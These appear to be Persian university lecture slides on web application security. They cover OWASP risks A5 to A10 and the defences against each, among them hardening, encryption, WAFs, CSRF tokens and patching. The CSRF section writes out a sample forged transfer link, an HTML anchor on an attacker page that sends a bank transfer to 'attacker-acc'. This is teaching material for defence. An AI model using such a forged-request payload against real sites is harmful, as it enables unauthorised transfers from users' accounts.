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می توانید به اطلاعات پیکربندی دست پیدا کنید.

A5-(1)تشخیص پیکربندی نادرست
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A5- (1)برخی روش های مقابله

 ل، سیستم عام)فرآیند امن سازی محیط اجرای برنامه ی تحت وب
به صورت منظم و دوره ای ( خانه هابرنامه ها، سرویس ها و کتاب 

.انجام شود

 شامل سیستم عامل، سرور وب و پایگاه )به امن سازی محیط
.گفته می شودHardeningمقاوم سازی يا اصطلاحاً ( داده

دو مرجع برای مقاوم سازی:
◼CIShttps://www.cisecurity.org

◼STIGhttps://public.cyber.mil/stigs
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A5- (2)برخی روش های مقابله

 تا جای ممکن فرآیند امن سازی، خودکار شود تا هم موردی
.باشدفراموش نشود و هم اشتباهات انسانی تاثیر کمتری داشته

 تا جای ممکن با استفاده از روش های مجازی سازی، محیط های
برنامه های تحت وب از هم جدا شوند تا آسیب پذیری احتمالی 

.یک برنامه بر سایر برنامه ها تاثیر نگذارد

 از روش ها و ابزارهای مختلف به صورت دوره ای برای تشخیص
.اشتباهات پیکربندی، استفاده شود
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A6-Sensitive Data Exposure

افشای داده های حساس
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A6-افشای داده های حساس

 ادهبا توجه به سیستم مورد استفداده های حساس يا محرمانه:
گذرواژه، آدرس و شماره تلفن، موجودی حساب، صورتحساب مالیاتی◼
(معرفی شده در قبل)شناسه نشست ◼

در كجاها ظاهر می شوند؟
پایگاه داده ها، کارگزار وب، مرورگر کاربر، ارتباطات میان این اجزا، ◼

...، پشتیبان، Log ،Cacheانواع 

ی حفاظت در برابر فاش شدن در تمامی مکان های ذکر شده الزام
.است
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A6-افشای داده های حساس

منشأ آسیب پذيری

داده ها بدون حفاظت ذخیره شده اند.

داده ها به صورت آشکار منتقل می شوند.

روش های رمزنگاری ضعیف و قدیمی انتخاب شده است.

کلیدهای نامناسب انتخاب شده است.
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A6-ت محافظت از افشای شناسه نشس
در ارتباطات

افت بانک تمامی درخواست هایی را که همراه با شناسه نشست معتبر دری
.شوند، اجرا می کند

.پس شناسه نشست هرگز نباید به دست مهاجم بیفتد◼

یدسترسارتباطیخطبهکهفردیهرباشد،شدهبرقرارhttpپروتكلرویبرارتباطاگر
نظراز)رمعتبدرخواست هایوآورددستبهشنودبارانشستشناسهمی تواندباشد،داشته
هیچکاربراین کهبدونکند،اجراوارسال(متفاوتIPآدرسبا)خودکامپیوترازرا(بانک

.باشدداشتهدرخواست هاایناجرایازاطلاعی

plain SessionID
http://bank.com/...
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که ارتباطات میان httpsاز پروتکل درستاستفاده : راه حل❑
.رمز می کندend-to-endبانک و کاربر را به صورت 

encrypted SessionID
https://bank.com/...

پذیرامکانمردمیانیحملهاجرایراحتیبهشود،استفادهنامعتبردیجیتالگواهیازاگر
!نداردhttpپروتکلازاستفادهباتفاوتیعملدرواست

A6-ت محافظت از افشای شناسه نشس
در ارتباطات
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A6-ذخیره سازی گذرواژه به: نمونه
صورت رمزنشده

ه گذرواژه کاربران سایت بدون اینکه درهم سازی شوند در پایگاه داد
.ذخیره شده اند

 گذرواژه ها به صورت درهم سازی شده ذخیره شده اند ولی این کار به
.انجام شده است( MD5مثلا با استفاده از تابع )روش غلط یا نامناسب 

 ذیری به طور مثال آسیب پ)حمله کننده با یک آسیب پذیری احتمالی
، به گذرواژه های رمزنشده یا درهم سازی شده (موجود در آپلود فایل

.ضعیف دسترسی پیدا می کند

106



مرتضی امینی                                                                                 امنیت داده و شبكه

A6-استفاده از اطلاعات حساس: نمونه
در سیستم آزمایشی

 ات ، در یک فروشگاه اینترنتی در انگلیس اطلاع2۰۱5در سال
.هزار کاربر لو رفتند8۰۰مربوط به 

اطلاعات واقعی کاربران در محیط آزمون استفاده شده بودند.
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A6-برخی راه های پیشگیری

ره اطمینان پیدا کنید که داده های حساس به صورت رمزشده ذخی
.و منتقل می شوند

داده های غیرضروری را ذخیره نکنید.

ه از روش های رمزنگاری مطمئن و مدیریت کلید مناسب استفاد
.کنید

امکانCacheرا در صفحاتی که قرار است داده های حساس کردن
.از کاربر دریافت کنند، غیرفعال کنید
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A7-Insufficient Attack 
Protection

حفاظت ناکافی در مقابل حملات
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A7-حفاظت ناکافی در مقابل حملات

از تشخیص حملات و انجام عکس العمل به موقع در مقابل آنها یکی
.روشهای امن سازی برنامه های کاربردی است

از برای کشف حملات و مقابله با برخی از آسیب پذیری ها  می توان
OWASP AppSensorو یا  RASPو WAFتکنولوژی هایی نظیر 

یری ها استفاده کرد و پس از کشف نسبت به برطرف کردن آسیب پذ
.اقدام کرد

WAF: Web Application Firewall

RASP: Run-time Application Self Protection
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A7-ر وبفایروال برنامه کاربردی مبتنی ب
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A7-ر وبفایروال برنامه کاربردی مبتنی ب

 با توانایی وارسی ترافیک در لایه ی کاربرد، جهت شناسایی و
بر روی برنامه های Injectionو XSSپیشگیری از حملاتی مانند 

.کاربردی مورد استفاده قرار می گیرند

WAFدها در یک مکانیزم جامع امنیتی مورد استفاده قرار می گیرن.

زاری استفاده از آن ها به معنای نادیده گرفتن آسیب پذیری های نرم اف
.شوندآسیب پذیری ها باید در سطح نرم افزار شناسایی و رفع. نیست
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A7-سناریوهای حمله

 حمله کننده با استفاده از ابزارهای موجود همانندOWASP ZAP
در این مواقع تفکیک . اقدام به اسکن می نمایدSQLMapو یا

.تترافیک این ابزارها از ترافیک کاربران عادی کار دشواری نیس

قاط حمله کننده انسانی شروع به ارسال درخواستهایی می کند تا ن
بسیاری از این درخواستها با . ضعف سامانه را کشف کند

.  درخواستهای عادی کاربران تفاوت دارد
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A7-نحوه حفاظت در مقابل حملات

كشف حملات مبتنی بر وب

مشاهده فعالیتی که کاربران عادی انجام نمی دهند مثلا مشاهده ◼
ن لینکی که کاربران عادی از وجود آن بی خبر هستند و نباید به آ

.دسترسی داشته باشند

تشخیص اسکن به روش های مختلف◼

تکرار غیرعادی درخواستهای مشابه◼
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A7-نحوه حفاظت در مقابل حملات

 عكس العمل در مقابل حملات كشف شده

IPو یا یک محدوده از آدرس های IPمسدود کردن آدرس ◼

غیرفعال کردن حساب کاربری مورد حمله◼

رد حملهاستفاده از تکنیک هایی همچون کپچا برای جلوگیری از پیشب◼
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A7-نحوه حفاظت در مقابل حملات

 وصله کردن آسیب پذیری در اولین زمان ممکن

له عملیات وص. اگر تولید کننده مطلع شده و وصله ارایه کرده است◼
.کردن انجام می شود

زی اگر وصله کردن به زودی امکان پذیر نیست می توان از وصله مجا◼
(virtual patch )حمله یعنی با توصیف الگوی ترافیک. استفاده کرد

.و تشخیص آن، از اجرای حمله جلوگیری می شود
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A8-Cross-Site Request 
Forgery (CSRF)

جعل درخواست میان سایتی
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A8- جعل درخواست میان سایتی(CSRF)

:سناريوی رايج

 وارد یک سایت، مثلا بانک، شده است و( به تازگی)کاربری
. آسیب پذیر استCSRFسایت بانک در برابر حمله 

 در سایت مهاجم یک لینک که حاوی درخواستی با ساختار
.درست به سایت بانک است قرار دارد

ا بر مهاجم به طریقی کاربر را فریب می دهد تا لینک مورد نظر ر
.روی مرورگر خود اجرا کند

درخواست جعلی به سایت بانک ارسال و اجرا می شود.
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A8-حمله /آسیب پذیریCSRF(1)

بانک

1- Login (ID/PWD, OTP,  ...)

2- Set SessionID=189345

3- Send SessionID=189345 with transfer request:
https://bank.com/transfer?amount=1500&to=4673243      

كاربر

ربرکادرخواستهرباهمراهادامهدرومی شودذخیرهکاربرمرورگرنیزوبانکدرشناسهاین-۳
.می گرددارسالبانکسمتبه

نامهبیکتاتصادفیکوکییکبانک(وبکارگزار)بانک،سایتبهموفقورودازپس-2و۱
.می کندارسالکاربرسمتبهوتولید(SessionID)نشستشناسه

.می کنداجراومی پذیردرا(زماننظراز)معتبرنشستشناسهحاویتقاضاهایبانک

التاصتصدیقکاربربهاعتمادباوجه،انتقالدرخواست:بانکسايتدرCSRFآسیب پذيری
.می شوداجرابانکتوسطبلافاصه،۱گامدرشده
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A8-حمله /آسیب پذیریCSRF(2)

بانک

1- Login (ID/PWD, OTP,  ...)

2- Set SessionID=189345

3- Send SessionID=189345 with transfer request:
https://bank.com/transfer?amount=1500&to=4673243      

سايت مهاجم

4- visit a page on attacker ‘s website containing 
<a href=" https://bank.com/transfer?amount=1500&to=attacker-acc>
<img src="https://attacker.com/some-interesting-picture.jpg"/></a>

كاربر

هکمی کندمراجعهمهاجمسایتازصفحه ایبهبانک،سایتبهورودباهمزمانکاربر-۴
.داردقرارمهاجمحساببهوجهانتقالدرخواستلینکباجذابتصويریآندر
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A8-حمله /آسیب پذیریCSRF(۳)

بانک

1- Login (ID/PWD, OTP,  ...)

2- Set AuthCookie=189345

3- Send SessionID=189345 with transfer request:
https://bank.com/transfer?amount=1500&to=4673243      

4- visit a page on attacker ‘s website containing:
<a href=" https://bank.com/transfer?amount=1500&to=attacker-acc>
<img src="https://attacker.com/some-interesting-picture.jpg"/></a>

كاربر

ستنششناسههمراهبهرادرخواستکاربر،مرورگرومی کندکلیکعکسرویبرکاربر-5
.می کندارسالبانکسمتبه(بودشدهدریافتبانکاز2گامدرکه)

5- Send SessionID=189345 with transfer request:
https://bank.com/transfer?amount=1500&to=attacker-acc 

!ردمی گیصورتمهاجمحساببهوجهانتقالواستمعتبربانکنظرازکوکیودرخواست

سايت مهاجم
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مرتضی امینی                                                                                 امنیت داده و شبكه

A8-حمله /آسیب پذیریCSRF(۴)

:نتیجه اجرای حمله❑
جه کاربر با کلیک بر روی یک عکس و بدون این که قصد انتقال و◼

.داشته باشد، مبلغی را به حساب مهاجم واریز کرده است
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مرتضی امینی                                                                                 امنیت داده و شبكه

A8-  روش های مقابله با حملهCSRF(1)

 احراز هويت مجدد

احراز هویت مجدد در برخی صفحات حساس، به عنوان مثال در یک ◼
یابد صفحه بانکی که قرار است پولی به حساب شخص دیگر انتقال

.علاوه بر ورود اولیه، رمز دوم نیز دریافت شود

 استفاده از كپچا(CAPTCHA)

اید با هر درخواست مقدار کپچا که به صورت تصادفی تولید شده ب◼
.توسط کاربر وارد شود
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مرتضی امینی                                                                                 امنیت داده و شبكه

A8- روش های مقابله با حملهCSRF(2)

 استفاده ازCSRF Token

◼Synchronizer Token

ار در هر صفحه یک توکن تصادفی مثلا به صورت یک فیلد مخفی قر
. می گیرد و با درخواست کاربر باید به سرور بازگردانده شود

 تولید شودهر درخواستیا به ازای هر نشستمی تواند به ازای.

در دو نوع توکن دیگر معرفی شده. ]سرور باید توکن ها را نگهداری نماید
.[اسلایدهای بعدی نیازی به نگهداری توسط سرور ندارند
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مرتضی امینی                                                                                 امنیت داده و شبكه

A8- روش های مقابله با حملهCSRF(۳)

 استفاده ازCSRF Token

◼Encryption Based Token

 رای با کلید سمت سرور ب[ مهر زمانی+ شناسه نشست کاربر ]رمز شده ی
.کاربر ارسال می شود و با درخواست کاربر باید به سرور ارسال شود

◼HMAC Based Token

HMAC با کلید سمت سرور [ مهر زمانی+ شناسه نشست کاربر ]روی
باید تولید و به همراه مهرزمانی به کاربر ارسال می شود و با درخواست کاربر

.به سرور ارسال شود
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مرتضی امینی                                                                                 امنیت داده و شبكه

A9-Using Components with 
Known Vulnerabilities

ه شدهاستفاده از مولفه های با آسیب پذیری شناخت
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مرتضی امینی                                                                                 امنیت داده و شبكه

A9- استفاده از مولفه های با
آسیب پذیری شناخته شده

 در تئوری همواره امکان وجود آسیب پذیری در یک برنامه یا
.مولفه وجود دارد

روزانه تعداد زیادی آسیب پذیریِ کشف شده، گزارش می شود.

ه در را استفاده از یک برنامه یا مولفه با آسیب پذیری گزارش شد
.به روی حمله کننده های تازه کار هم باز می کند
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مرتضی امینی                                                                                 امنیت داده و شبكه

A9-آسیب پذیری در : نمونهSpring

 یک آسیب پذیری در چارچوب 2۰۱2در سالSpring کشف
.شد

ر به کمک این آسیب پذیری، حمله کننده می توانست اختیا
.سیستم را به دست بگیرد
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مرتضی امینی                                                                                 امنیت داده و شبكه

A9-خونریزی قلبی: نمونه

 یک اشکال نرم افزاری در کتاب خانه ی رمزنگاریOpenSSL

به مهاجم امکان خواندن حافظه ی کامپیوتری که این نرم افزار
.  روی آن در حال اجرا بود را می داد

 به این ترتیب مهاجم اجازه ی بازیابی کلیدهای خصوصیSSL را
.پیدا می کرد
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مرتضی امینی                                                                                 امنیت داده و شبكه

A9-نیاستفاده از برنامه ها بدون به روزرسا

 بسیاری از شرکتها و سازمانها ازCMSاین . های متن باز استفاده می کنند
CMS ها و افزونه هایی که برای آنها وجود دارد آسیب پذیری های زیادی
.دارند
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مرتضی امینی                                                                                 امنیت داده و شبكه

CVE: Common Vulnerabilities and 

Exposures

مرجعی برای معرفی آسیب پذیری های شناخته شده است.
 شروع به کار کرده است۱۹۹۹از سال.

 هزار آسیب پذیری در آن وجود دارد۱5۴در حال حاضر بیش از.
http://cve.mitre.org
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مرتضی امینی                                                                                 امنیت داده و شبكه

CWE: Common Weakness 

Enumeration

 گردآوری مجموعه ای از ضعف های امنیتی موجود در نرم افزارها به
منظور شناخت این ضعف ها

رنامه هاایجاد ابزارهایی برای شناسایی این نقاط ضعف در کد منبع ب
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مرتضی امینی                                                                                 امنیت داده و شبكه

A9-برخی روش های مقابله

در مورد مولفه ها، کتابخانه ها و چارچوب ها اطلاعات کافی داشته
.باشید

ن در اخبار آسیب پذیری های منتشر شده، خبرهای مرتبط با ای
.مولفه ها را رصد کنید

ه از در داخل سازمان یا شرکت سیاست هایی برای نحوه ی استفاد
.  مولفه ها داشته باشید
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A10-Underprotected APIs

های حفاظت نشدهAPIاستفاده از 
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مرتضی امینی                                                                                 امنیت داده و شبكه

A10- استفاده ازAPIهای حفاظت نشده

APIیه همانند بق. برای استفاده برنامه های دیگر ایجاد شده اند
بخشهای برنامه کاربردی، انواع آسیب پذیری ها در مورد آنها 

.متصور است

ه در تست ها و ارزیابی های امنیتی همچون سایر بخشهای برنام
.ها نیز در نظر گرفتAPIباید مکانیزمی برای 
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مرتضی امینی                                                                                 امنیت داده و شبكه

A10-سناریوی نمونه

یک برنامه موبایل برای اتصال به برنامه کاربردی از ارسال یک
.  ندبه سرور برنامه کاربردی تحت وب استفاده می کJSONدرخواست 

 طراحان و برنامه نویسان در بخشهای مختلف اینAPI  کنترل
.دسترسی را به درستی رعایت نکرده اند

 ،حمله کننده با روشهای مهندسی معکوس برنامه موبایلAPI استفاده
ه شده را بررسی می کند و می تواند از این ضعف استفاده کرده و ب

عایت کنترل دسترسی ر)اطلاعات کاربر دیگر دسترسی پیدا کند 
(.نشده است
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A10-برخی راههای مقابله

مطمئن شوید ارتباط بین کلاینت وAPI امن است.

 از مکانیزم احراز هویت در درخواستهای مختلف که بهAPI
.ارسال می شود اطمینان حاصل کنید

اید به مکانیزم کنترل دسترسی، برای همه درخواستهای مختلف ب
.درستی اعمال شود

 امنیتAPIرا در مقابل انواع حملات تزریق بررسی نمایید.
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پایان

مركز امنیت داده و شبكه شريف

http://dnsl.ce.sharif.edu

پست الكترونیكی

amini@sharif.edu
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